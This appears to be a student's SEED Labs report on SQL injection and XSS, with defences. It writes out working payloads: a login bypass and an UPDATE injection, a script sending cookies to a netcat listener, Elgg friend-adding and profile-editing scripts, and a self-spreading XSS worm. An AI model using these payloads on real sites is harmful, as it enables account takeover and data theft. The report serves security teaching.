20252819 2025-2026-2 《网络攻防实践》第十周作业

SEED SQL 注入与 XSS 跨站脚本攻击实验报告

一、实验名称

SEED SQL Injection 与 XSS Cross-Site Scripting 安全实验


二、实验目的

  1. 掌握 SQL 注入攻击的基本原理与利用方式
  2. 学习 SELECT 与 UPDATE 类型 SQL 注入攻击方法
  3. 理解预编译语句对 SQL 注入漏洞的防护机制
  4. 熟悉 XSS 跨站脚本攻击的实现过程
  5. 掌握 Cookie 窃取、自动添加好友、修改用户资料等 XSS 攻击方式
  6. 了解 XSS 蠕虫的传播原理以及防御措施

三、实验环境

项目 内容
实验平台 SEED Labs
操作系统 Ubuntu
数据库 MySQL
Web 服务 Apache
浏览器 Firefox
实验类型 Web 安全实验

实验准备
新建虚拟机
image
image
image
修改主机名
image

四、实验内容


4.1 SQL 注入攻击实验

4.1.1 查看数据库信息

首先进入数据库环境:密码为seedubuntu

mysql -u root -p

image

查看数据库:

show databases;

image

进入 Users 数据库并查看数据表:

use Users;
show tables;

image

发现其中存在 credential 数据表。

查看表中的全部数据:

select * from credential;

image

查询用户名为 Boby 的信息:

select * from credential where Name='Boby';

image

通过以上操作,可以确认数据库中保存了用户账号、密码以及其他个人信息。


4.1.2 SELECT 类型 SQL 注入攻击

实验目标是在不知道密码的情况下直接登录系统。

(1)分析登录过程

打开网站:

www.SEEDLabSQLInjection.com

image

随意输入用户名与密码后登录,并通过 F12 查看网络请求,发现系统使用 GET 请求访问:

unsafe_home.php

image

随后查看源码:

sudo vim /var/www/SQLInjection/unsafe_home.php

image
image
image

源码中的核心 SQL 语句如下:

SELECT id, name, eid, salary, birth, ssn, phoneNumber,
address, email, nickname, Password
FROM credential
WHERE name='$input_uname' and Password='$hashed_pwd';

可以发现用户输入的数据被直接拼接进 SQL 语句,没有任何过滤处理,因此存在 SQL 注入风险。


(2)构造注入语句

在用户名位置输入:

Alice'#

其中:

  • ' 用于结束原本的字符串
  • # 用于注释后面的密码部分

最终 SQL 语句会变成:

SELECT * FROM credential WHERE name='Alice'#' and Password='xxx';

数据库执行时会忽略后半部分密码判断,从而直接登录成功。
image

成功进入系统后,可以查看并修改用户资料。
image
image


4.1.3 UPDATE 类型 SQL 注入攻击

该实验主要利用 UPDATE 语句实现越权修改数据。

(1)分析更新逻辑

进入用户资料修改页面后,随意修改内容并保存。

通过抓包发现系统访问:

unsafe_edit_backend.php

image

查看源码:

vim /var/www/SQLInjection/unsafe_edit_backend.php

image

核心代码如下:

$sql = "UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='$input_phonenumber'
where ID=$id;";

系统本来的设计逻辑是:

  • 当前用户只能修改自己的资料
  • 通过 where ID=$id 限制修改范围

但是由于输入内容直接拼接到 SQL 中,因此可以插入新的字段。


(2)实施攻击

在昵称输入框中输入:

', Salary='20252819' where name='Admin'#

最终数据库执行的语句会变为:

UPDATE credential
SET nickname='',
Salary='20252819'
where name='Admin'

这样就成功修改了管理员账户的工资信息。
image
image

实验说明:如果输入未经过严格过滤,攻击者就可以借助 UPDATE 语句篡改数据库中的任意内容。


4.1.4 SQL 注入防御

为了修复 SQL 注入漏洞,需要采用预编译语句。

首先修改文件权限:

sudo chmod u+w unsafe_home.php

编辑源码:

vim unsafe_home.php

image

将原本的 SQL 拼接方式改为预编译:

$sql = $conn->prepare(
"SELECT id, name, eid, salary,birth, ssn,
phoneNumber,address,email,nickname,Password
FROM credential WHERE name=? and Password=?;"
);

$sql->bind_param("ss",$input_uname,$hashed_pwd);

image


(1)预编译原理

预编译语句主要分为两个阶段:

第一阶段:SQL 结构编译

数据库会先解析 SQL 语句结构:

SELECT ... WHERE name=? and Password=?

此时 SQL 的逻辑已经固定。


第二阶段:参数绑定

用户输入的数据会被当作普通字符串处理:

$sql->bind_param("ss",$input_uname,$hashed_pwd);

即使输入:

Admin'#

数据库也只会把它当作普通文本,而不会再解析成 SQL 指令。


(2)测试结果

再次尝试使用:

Admin'#

进行登录时,发现已经无法绕过身份验证。
image

说明 SQL 注入漏洞修复成功。


4.2 XSS 跨站脚本攻击实验


4.2.1 弹窗攻击实验

打开网站:

http://www.xsslabelgg.com

使用以下账户登录:

用户名:Alice
密码:seedalice

image

进入个人资料编辑页面,在简介栏输入:

<script>alert("20252819csy");</script>

image

保存后,页面会自动弹出警告框。
image

说明用户输入的脚本被浏览器直接执行,存在 XSS 漏洞。


4.2.2 获取 Cookie 信息

将简介内容修改为:

<script>alert(document.cookie);</script>

image

保存后浏览器会直接弹出当前 Cookie 信息。
image

说明攻击者能够获取用户身份凭据。


4.2.3 窃取 Cookie

首先在终端开启监听:

nc -l 5555 -v

image

随后在简介中插入:

<script>
document.write(
'<img src=http://127.0.0.1:5555?c='
+ escape(document.cookie) + '>'
);
</script>

image

当页面加载时:

  • 浏览器会自动访问攻击者服务器
  • Cookie 会作为参数发送出去

监听终端即可收到受害者 Cookie 信息。
image


4.2.4 自动添加好友

该实验利用 XSS 自动调用网站接口。
在alice账户中选择“more”-“Members”,按F12查看网络流信息,选择boby添加为朋友,找编号信息。
image
image
删掉好友回到初始状态。根据上述信息构造payload
在 Alice 的个人资料中插入:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    var sendurl=
    "http://www.xsslabelgg.com/action/friends/add?friend=45"
    + ts + token;

    Ajax=new XMLHttpRequest();

    Ajax.open("GET",sendurl,true);

    Ajax.setRequestHeader("Host","www.xsslabelgg.com");

    Ajax.setRequestHeader(
    "Content-Type",
    "application/x-www-form-urlencoded"
    );

    Ajax.send();
}
</script>

其中:

  • 45 表示 Boby 用户 ID
  • 页面加载后会自动发送加好友请求
    image

保存后访问页面,可以发现 Alice 已经自动关注 Boby。
image


4.2.5 修改受害者资料

在 “About me” 中插入恶意代码:

<script type="text/javascript">
window.onload = function(){

var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

var content=
token + ts +
"name=" + userName +
"&description=<p>20252819csy</p>" + guid;

var sendurl =
"http://www.xsslabelgg.com/action/profile/edit";

var Ajax=null;

Ajax=new XMLHttpRequest();

Ajax.open("POST",sendurl,true);

Ajax.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
);

Ajax.send(content);
}
</script>

image

当其他用户访问页面时,其个人简介会被自动篡改。
image
image

说明攻击脚本已经能够实现远程控制用户资料。


4.2.6 XSS 蠕虫实验

为了实现自动传播,需要让恶意代码复制到其他用户页面中。

实验代码如下:

<script id="worm" type="text/javascript">

window.onload = function(){

var headerTag =
"<script id=\'worm\' type=\'text/javascript\'>";

var jsCode =
document.getElementById("worm").innerHTML;

var tailTag = "</" + "script>";

var wormCode =
encodeURIComponent(headerTag + jsCode + tailTag);

var userName=elgg.session.user.name;

var guid="&guid="+elgg.session.user.guid;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

var content=
token + ts +
"&name=" + userName +
"&description=<p>20252819csy arrived"
+ wormCode + "</p>" + guid;

var sendurl =
"http://www.xsslabelgg.com/action/profile/edit";

if(elgg.session.user.guid!=44){

var Ajax=null;

Ajax=new XMLHttpRequest();

Ajax.open("POST",sendurl,true);

Ajax.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
);

Ajax.send(content);
}
}
</script>

实验结果

将代码写入 Alice 的主页后:
image

  1. Boby 访问 Alice 页面时被感染

  2. Boby 的个人简介自动出现恶意脚本
    image

  3. 继续访问其他用户页面后,蠕虫继续扩散
    image

说明该 XSS 蠕虫具备自动传播能力。


4.2.7 XSS 攻击防御

登录管理员账户:

账号:admin
密码:seedelgg

image

进入:

Account → Administration → Plugins

image

找到插件:

HTMLawed

将其状态设置为:

activate

(显示的是deactivat)
image

该插件主要用于:

  • 检测危险标签
  • 过滤恶意脚本
  • 防止浏览器执行非法代码

重新测试 XSS 攻击后,发现脚本已经无法执行。
image

说明过滤机制能够有效降低 XSS 风险。


五、学习中遇到的问题及解决

实验中有些代码很长,直接输入很容易出错,开始问ai说可以下载open-vm-tools,结果把环境弄崩了,只能重新安装seedubuntu,后来听同学说可以使用云便签,在主机和虚拟机同时访问云变签网站,可以在虚拟机复制主机中的代码,网址为https://webnote.cc/ ,在之后随便加域名例如https://webnote.cc/csy即可使用
image

六、实验总结

通过本次实验,我对 SQL 注入和 XSS 跨站脚本攻击有了更加直观的认识。实验过程中不仅学习了 SELECT、UPDATE 类型 SQL 注入的实现方式,还实际体验了利用脚本绕过登录、篡改数据库内容等攻击过程。同时,在 XSS 实验中,我进一步了解了弹窗攻击、Cookie 窃取、自动添加好友以及 XSS 蠕虫传播等常见攻击手段。整个实验让我认识到,如果 Web 应用没有对用户输入进行严格过滤,就非常容易被攻击者利用。除此之外,我也学习了使用预编译语句、防御插件等方法来修复安全漏洞,对 Web 安全防护机制有了更深入的理解。

posted @ 2026-05-19 20:54  nepenthe词不达意  阅读(29)  评论(0)    收藏  举报